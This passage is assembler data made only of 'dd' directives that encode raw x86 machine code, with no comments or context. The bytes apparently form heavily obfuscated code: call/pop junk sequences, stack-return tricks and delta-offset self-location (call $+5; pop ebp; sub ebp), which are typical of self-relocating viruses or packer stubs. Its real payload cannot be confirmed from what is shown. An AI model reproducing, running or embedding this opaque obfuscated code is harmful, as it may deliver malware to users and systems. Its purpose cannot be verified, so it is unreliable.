		dd 0D7734F85h, 57006A4Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F9AE082h, 680h, 1D9D8900h
		dd 1060706h, 704B985h, 0D1958906h, 0E906072Bh, 0FFFFF7EAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E5C35040h
		dd 5BFC2ECCh, 0E9569545h, 8, 26CC7D62h,	0A1225448h, 11BD8B5Eh
		dd 8B060733h, 4EBC1h, 89000000h, 703FD95h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0C0CB2C0Eh, 16ADB58Bh, 0BD330607h, 6070609h,	1F19858Dh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0BD588FC3h, 668BA6D3h, 0FEF2C681h, 50F28B90h
		dd 0F38B6652h, 6A905Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0B5E47C3h, 72CEDB5h, 81006A06h
		dd 80F78AEEh, 0BE006A38h, 72D70651h, 17CE858Dh,	6A060Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 9C4C65C3h, 837D12DAh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8D8944C3h, 6072F15h
		dd 24048950h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0F4C35646h, 0FD9D91Dh, 484h, 0A7BF6600h, 0F5006AD7h
		dd 0BD2B006Ah, 6072F55h, 1BCD95FFh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8B5FA3C3h
		dd 814288ECh, 0A5B79D8Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D79868C3h, 14E99A99h
		dd 27000000h, 3DE09B0Ah, 269F39D9h, 7C814869h, 689EBD65h
		dd 0FF63BDA8h, 0EE8153D3h, 3C0F2570h, 0A585FF5Eh, 6A06070Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0BEF7C353h, 0E59529FCh, 0E906070Fh, 97Dh
		dd 0E8h, 0ED815D00h, 60B17D8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0B0C35242h,	0A61B5E87h, 8BDC7FC3h
		dd 70591B5h, 0CE816606h, 0BD81D6AFh, 6072CDDh, 7D0h, 19A860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 481895C3h, 8BA309E6h, 0F7B70FF1h,	180D9D8Bh
		dd 0F7810607h, 32B90EEBh, 100E381h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 276C42C3h
		dd 9627CB21h, 6890F9Dh,	51000000h, 4F35BF66h, 0FDB0B5Eh
		dd 9B85h, 83F08B00h, 0B1612BDh,	840F0006h, 3Ch,	1A18589h
		dd 9CE90607h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0C73FC350h,	599EBC5Ch
		dd 0A830Fh, 89600000h, 7020D95h, 61616006h, 161285C7h
		dd 1060Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FBC04C3h, 12E9F1B7h, 41000000h
		dd 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 0E67B9B63h, 25E98Ah
		dd 60600000h, 616160F9h, 61D6B70Fh, 161285C7h, 60Bh, 0B5890000h
		dd 6071E7Dh, 6E9h, 4F479600h, 8DD0F7A5h, 7180D9Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B8CB620h, 70461B5h,	0CABE6606h, 3CBE66F7h, 0FF2381FBh
		dd 6AFFFFFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 7A49C352h, 5380C92h, 0F53FCECCh
		dd 8E960h, 7EE0000h, 0C060914Eh, 860F675Ch, 3, 61CFBF0Fh
		dd 0FDB8C66h, 0C3F6F7BFh, 8F840F04h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0C0C7C351h, 95FF927Dh, 607335Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 86C35747h, 0E9B7C58Bh, 11h
		dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h, 9B5893Ah
		dd 50060706h, 8E9h, 6F2FC500h, 1BD3808Eh, 24048985h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5C35646h, 29E92EA4h
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 7F78C350h, 6A00B0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B58941C3h
		dd 60705FDh, 852970E6h,	6071509h, 0BD2B71E4h, 6070B31h
		dd 6AD8B60Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 273AC352h, 9D89F78Bh, 6072AF9h
		dd 6BAh, 158D8900h, 8B060700h, 50006AC3h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 8BC15997h
		dd 6890Fh, 9D010000h, 60721A9h,	6A04E8C1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D85DC356h
		dd 13E8CAh, 5B9E0000h, 70D7694Fh, 67534BCCh, 18CA6C37h
		dd 960C7097h, 9E824h, 53980000h, 0C74A4302h, 0FEACC61h
		dd 8Eh,	0E95F5E00h, 6, 59D54F77h, 0F7666FB7h, 55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0BE409405h, 88F0F61h, 57000000h, 2E9DB509h, 8B5E0607h
		dd 73145BDh, 6AD82B06h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 9857C351h, 490F3CCh
		dd 0ECC100D5h, 5820Fh, 0C7BE0000h, 505BC980h, 8B241C89h
		dd 70379B5h, 0DDB5FF06h, 6A06072Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E566C355h
		dd 89E635B0h, 723159Dh
		dd 195FF06h, 6A060732h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 6BE4C352h, 0C53638C7h
		dd 6018589h, 0B00607h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0AC35242h, 253B18EEh,	70E65339h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 74C35646h, 0E3F0125Fh
		dd 5E98032h, 4B000000h,	59B4D8C7h, 0FA8B71E4h, 5820Fh
		dd 81660000h, 3CB1DECEh, 0E9830F61h, 6A000002h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 93ECC355h, 0D8B60F2Fh, 32DDB529h, 6BA0607h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 86C1C356h, 0F5E43D0Dh, 1549B529h,	0C38B0607h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 2BC35040h
		dd 0BE90Dh, 6C9B0000h, 982313AEh, 66BF1E88h, 80BF6610h
		dd 4E8C1FCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	24C35242h, 5B73FD3h, 99EECE1h, 0D9B5010Bh, 81060732h
		dd 775E86C7h, 0E2F76636h, 1841BD89h, 0D82B0607h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 46C35747h, 8B602A4Fh
		dd 730A5B5h, 0F1BD8B06h, 6106070Fh, 0AE958h, 5B0F0000h
		dd 0E079A96Eh, 0FAAB2A2Bh, 880FD82Bh, 1E0h, 2D79B58Bh
		dd 7B90607h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 8CB0C351h, 9E7F7560h
		dd 8B6718BAh, 14E9F9h, 0AA80000h, 0B9F11206h, 0BBCCC0F0h
		dd 5C94B12Eh, 2C37A7FBh, 0C183F062h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 9CD4A839h
		dd 0CDB52BC2h, 3B060723h, 65860FD9h, 8B000001h,	721F1BDh
		dd 0D98C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0C35343h, 96D4AAE5h, 8968D51Ch,	717E1B5h, 4C1F606h
		dd 105840Fh, 0B58B0000h, 6070C45h, 335D95FFh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 60DFF4C3h, 0A73944Eh, 8B621D7Fh, 731A1BDh, 6A5B06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B2A489C3h, 0D7486F99h, 0F94FD4C9h, 6AC32Bh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D1EC22C3h, 0EB15F3BFh, 0C97CBE44h, 343D62D0h, 0F000008h
		dd 7286h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 7BC45B1Dh, 0E81CED59h, 12h, 25025569h
		dd 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 0AE9474Ah, 6D000000h
		dd 9D0C0DEFh, 0E1BEC0F2h, 49E95EF7h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 5382C355h, 5EF8BF0Fh, 8BF18B66h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 37200F44h
		dd 2219812Fh, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 61C35040h, 0BE3779A6h, 4185C72Eh, 99060709h
		dd 8B358087h, 717D9B5h,	66C08B06h, 0BD81F98Bh, 6072CDDh
		dd 7D0h, 18850Fh, 800F0000h, 0
		dd 2CDD85FFh, 0B58B0607h, 60721B1h, 21D9BD89h, 0B5FF0607h
		dd 6072CDDh, 320195FFh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0FF337EC3h, 0F1B70F9Dh
		dd 59950956h, 5E06071Ah, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 89C991A9h, 707D995h, 998D8906h
		dd 66060701h, 0EDE6EE81h, 2F79BD8Bh, 0DE80607h,	6A000000h
		dd 4F9DE351h, 802EE8FBh, 0A3DAAFB3h, 33FE8B66h,	72B49BDh
		dd 6A5E06h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9B19F8C3h, 0BDBD03E9h, 5706072Ah,	3E1BD29h
		dd 8B5E0607h, 0F6B70FF0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 8AC35343h, 0F681BC15h, 6063506Fh, 14E9h
		dd 0AC1AFC00h, 3F7FDC06h, 69B08983h, 13018B62h,	0E566FADCh
		dd 52006AB0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F38B6683h, 19D9BD8Bh, 0B58B0607h, 6071C9Dh
		dd 795B533h, 0BD030607h, 607315Dh, 1CD9B529h, 840F0607h
		dd 5, 86BF66F8h, 0F6AAE93Ah, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 766E5EC3h
		dd 28FC558Bh, 8B66216Fh, 6A60F2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 2F10DC3h, 0ABA1A5A9h
		dd 0FFFFFEB9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 616C04B9h, 2DF1FE8Bh
		dd 38C0Fh, 8B660000h, 9D8D21DFh, 8B060710h, 258D21F8h
		dd 0F060731h, 890FD2B7h, 6, 23A1BD8Bh, 8D8B0607h, 607109Dh
		dd 184DBD89h, 0E1830607h, 6850F01h, 9000000h, 71CF595h
		dd 258D8B06h, 8B060731h, 72FED9Dh, 1E18306h, 6850Fh, 8D890000h
		dd 607176Dh, 0BD0B6061h, 6070F71h, 0FFFFFEB9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 20908F9Dh, 0F0B5082Eh, 11E8160Ch, 70000000h,	28681EDBh
		dd 0B88BDB6Bh, 0CC4CB56Ch, 0C17817E7h, 3211B503h, 215A0607h
		dd 71C5D8Dh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 8F3F1BDDh, 0ADA95A22h, 858D2114h
		dd 8B06071Dh, 71255B5h,	5D8D8B06h, 6006071Ch, 3840Fh, 0BF0F0000h
		dd 8361F9CAh, 850F01E1h, 26h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 92C35343h, 2FF3795Ah, 1F419D8Bh
		dd 8D8B0607h, 6071D85h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 1CC35747h, 0FC8E73D8h, 0A1BD313Bh, 5606071Eh
		dd 33618589h, 835F0607h, 850F01E1h, 1, 666061F5h, 0F11FF081h
		dd 0FFFFFEB9h, 99BD29FFh, 21060706h, 709418Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 75B8AA71h, 979ED2C7h, 9E8C7A6h, 0E000000h, 1C852119h
		dd 458DE752h, 1ED58589h, 0E95B0607h, 0Ch, 37696F20h, 92C664AEh
		dd 1F1D8AE0h, 2F3D8D21h, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 499974C3h, 0D880B485h
		dd 418D8B0Bh, 0F5060709h, 3FE61BEh, 1E1831Dh, 3850Fh, 0F8510000h
		dd 3D8D8B5Fh, 6A06072Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1BA1C350h, 0E183B5B6h
		dd 6850F01h, 9000000h, 70445B5h, 6A606106h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0F171C357h
		dd 0FFFEB95Eh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B4F2DC3h, 1A6D858Bh, 8D210607h
		dd 607180Dh, 0CA1CA81h,	8D211051h, 6071821h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CEC35141h, 81660C9Dh
		dd 8B1D79CEh, 7180D8Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F641B84h, 686h, 41858900h
		dd 8306072Fh, 850F01E1h, 0Ch, 1FE19D23h, 0EB810607h, 6C5711C0h
		dd 18218D8Bh, 81660607h, 83FA22D0h, 850F01E1h, 1Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C3C35242h, 6A6061C6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4F57C350h, 0FB62DB5h, 48Ch, 83BE6600h, 0DD85C7BEh
		dd 0D006072Ch, 6A000007h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4109C351h, 759D898Ah
		dd 6106070Ch, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	2FC35242h, 0B76823E3h, 0B8BD6F34h, 3A0056E7h, 9D6107EBh
		dd 0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 9923A279h, 0B95EF55Eh, 3820Fh, 0E4800000h
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 90990DAAh, 0FA7364Ah, 68Dh, 0F1853100h
		dd 6606072Ch, 7314F181h, 8060C18Bh, 0C08BE8E1h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 67C35242h, 2D85893Dh
		dd 0BE06070Ch, 6077C43Bh, 850Fh, 0BD830000h, 6073101h
		dd 83097500h, 70A55BDh,	19740006h, 0C08B5350h, 438B8h
		dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h
		dd 6070Ah, 53501774h, 438B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0D055C73Eh, 3309B523h, 0C08B0607h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 16C35343h
		dd 83AE815h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6E384FC3h, 5F722BE8h, 11E9h, 45C2F00h
		dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 8589AC63h, 607123Dh
		dd 5E8h, 50452C00h, 11E968FEh, 0C5000000h, 0B3303502h
		dd 0BE9E5B5Fh, 0B5193AB7h, 0A4822CD7h, 7D6E85Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 207DAEC3h, 0E960AB95h, 9, 5E47EFE7h,	58D10F5Bh, 858961DFh
		dd 6072C11h, 0E899E580h, 798h, 0A69B58Bh, 85890607h, 60722C9h
		dd 0E181F88Bh, 274783E5h, 77FE8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0EE097B14h
		dd 0C03AEC9Dh, 0D9D89B6h, 23060726h, 70825BDh, 85858906h
		dd 6A06070Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2014C357h, 0D997F7C2h,	723E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0C2A5C05Fh, 55B5E78Ah, 0E7816646h, 0BD8B3862h
		dd 607095Dh, 0C358589h,	0AFB90607h, 0E85C92BAh,	6E4h
		dd 89F6B70Fh, 730A185h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 29C78BB8h, 701B9BDh, 6B2E806h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0D5164DC3h, 0EB700C6Ah, 0BCBF6911h, 89223CB6h
		dd 7304185h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0BBEB421Ah, 81F9603Fh, 52FCE7CBh
		dd 8D8B6150h, 60707C9h,	64FE8h,	0C8BF0F00h, 2B218589h
		dd 0DF810607h, 0AD7583Ah, 63BE8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0CA01B051h
		dd 98EF721Bh, 3B2E181h,	85890B5Ch, 60732C9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C0C35141h, 422A5011h
		dd 0E8F7535Bh, 5E4h, 858589FCh,	6A060729h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B66C356h
		dd 71DEDBDh, 0E8F28B06h, 5B4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0BDC35242h,	39CD7813h, 0BD01BA6Bh
		dd 6072F25h, 1E198589h,	6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 525438C3h, 0B2F3864Fh
		dd 358D8B3Eh, 0E8060729h, 558h,	0FF86060h, 8061FABFh, 8961ECECh
		dd 71CF185h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 25E83A70h, 6A000005h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3CAEC351h
		dd 0AE9h, 13626100h, 7B52A837h,	8946E1DFh, 7231185h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3416098h, 0CDE88BBAh, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 808BC352h
		dd 85899FD9h, 6072215h,	23F9BD09h, 81660607h, 0E8DFBAEEh
		dd 498h, 1BD2953h, 5E06072Bh, 12E59529h, 85890607h, 6070BA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 3FC35646h
		dd 0C542E470h, 19CD8D89h, 59E80607h, 89000004h,	710798Dh
		dd 0DD858906h, 80060712h, 0B098EDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 83C35343h, 0AFB4B618h, 4BB1CF15h
		dd 125DBD29h, 0B60F0607h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 553DC445h
		dd 6BABEh, 8D890000h, 60732E9h,	0C88BC38Bh, 7BB5C681h
		dd 0E8C1059Eh, 89BD0104h, 66060716h, 6AE2F7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 75EF85C3h
		dd 0EE8131E4h, 7E26E896h, 6E9D82Bh, 0DB000000h,	8AA75889h
		dd 0B550932Ah, 0B50393AFh, 60719E9h, 335D95FFh,	6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 59C912C3h, 2BD18166h, 6A5B76h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 59446BC3h, 32E29120h
		dd 53A6AEE9h, 0F4D9589h, 8D5E0607h, 7264995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8A60BD63h, 1A8961CAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 84C35545h, 0CAB70F6Ch, 6A044289h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 79A9C350h, 812A2BE0h, 0EA685CDEh, 79958D51h,	6A060733h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 929C357h,	720DD85h, 7C98106h, 891E019Fh
		dd 56006A1Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0F9B4722h, 5DB58B11h, 29060715h,	722BDBDh
		dd 4428906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	4DC35343h, 0BEC0930Fh, 3681E813h, 0BF5958Dh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 14FF74C3h, 19A314A0h, 8E0FF6ECh, 5, 95D78166h, 158D0128h
		dd 89060716h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5F2B7363h, 0BB839143h, 0BF0F9457h
		dd 44289CEh, 3E1B589h, 958D0607h, 60725F9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 16C35141h, 4AF3D46h
		dd 9E815A0Ah, 9D891A89h, 6071F35h, 6A044289h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 94DDC352h, 0D36D3118h, 0A69FB9D6h, 8DF6BF0Fh, 72FBD95h
		dd 0F99D8906h, 89060707h, 57006A1Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1792E761h
		dd 33172F7Dh, 70AE98Dh,	0B5896006h, 6070C2Dh, 102D8D8Bh
		dd 89610607h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8D59C0C3h, 72B3195h, 0C8B0F06h
		dd 0F000000h, 68Bh, 8C0F00h, 89000000h,	57006A1Ah, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 55B58BD7h, 8B06071Fh, 71D9DB5h, 4428906h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FCC35545h, 7F55846Eh
		dd 958DF9BEh, 6071101h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0DBC35141h, 27E95DD5h, 59BD8BD4h, 89060709h
		dd 0AD95891Ah, 8906072Dh, 81660442h, 8D837CD7h,	708C995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 9CB4D0Dh, 71B3195h, 79BD8B06h, 8906072Fh
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4948A1B0h, 6C4F38E6h, 7E9h, 8ED51200h, 1676430Eh
		dd 29044289h, 72D8195h,	0C8E906h, 9E90000h, 0AD000000h
		dd 7C6623A1h, 0D7640560h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0EAEA7AC3h, 0BE87Ah
		dd 0D8E40000h, 0F897D0ABh, 0DF7D07B3h, 4FEE8173h, 5E32752Ch
		dd 9B9006Ah, 6A4E175Ah,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 7EAB8EA8h, 8B98D29h, 6A0607h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h
		dd 78206AD1h, 8904CB50h, 7304585h, 0D1BD8B06h, 0FF06072Dh
		dd 7334995h, 6AC306h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0C58AD7C3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0CAC35141h,	4B89ECBAh, 8BFFB70Fh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 1BD8384h, 60731h, 0BD830975h, 6070A55h
		dd 50197400h, 0B8C08B53h, 438h,	217D8589h
		dd 9D8D0607h, 609B459h,	585BD3FFh, 0A55BD83h, 74000607h
		dd 0B8535017h, 438h, 217D8589h,	9D8D0607h, 609B0FAh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A0C35747h
		dd 0A6B950E7h, 5E4138C9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 66C35141h, 8ECFCC34h,	0AFE2BC20h, 0D8D89B3h
		dd 6606071Ah, 8580D181h, 858DC08Bh, 6071F19h, 1C699589h
		dd 0E9500607h, 0Ch, 0DF31FA99h,	3969E907h, 2F0BCF0Fh, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9E0AC355h, 709DEADFh, 5E972h, 0D61F0000h
		dd 6AB24BADh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0BA4332ACh, 9D9D8BCBh, 6606072Eh
		dd 6A4FEDBFh, 0B7D88A00h, 4E858D42h, 6A060B32h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0F990C353h, 9FFA071Ah, 831E1CF1h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 885D1AC3h
		dd 0C403CB2Dh, 60987063h, 8BD9B70Fh, 700ED9Dh, 8B906106h
		dd 0E86050F9h, 12h, 0FB97990Ah,	69ED9450h, 80C09485h, 0D2D67A15h
		dd 8B667137h, 8B665EC6h, 8B9061D7h, 723F1BDh, 31006A06h
		dd 7047DB5h, 8B006A06h,	719E99Dh, 0CD95FF06h, 6606071Bh
		dd 8DF141BBh, 0AA5B78Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 51B89698h, 519C9901h
		dd 71BD8950h, 5B060716h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 3AD078C3h, 0D7163F6Ch
		dd 1995BD83h, 0F010607h, 7685h,	26AF500h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 62C35343h, 8B901400h
		dd 0BF6650DEh, 6A90B9E7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 21AFC351h, 0EB95E0C3h
		dd 0FD95FFC4h, 6A060729h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0AFD1C353h,	0D8BF0F28h
		dd 0E9D88B66h, 0E6Eh, 0E8h, 0ED815D00h,	60B3258h, 1FC5B509h
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
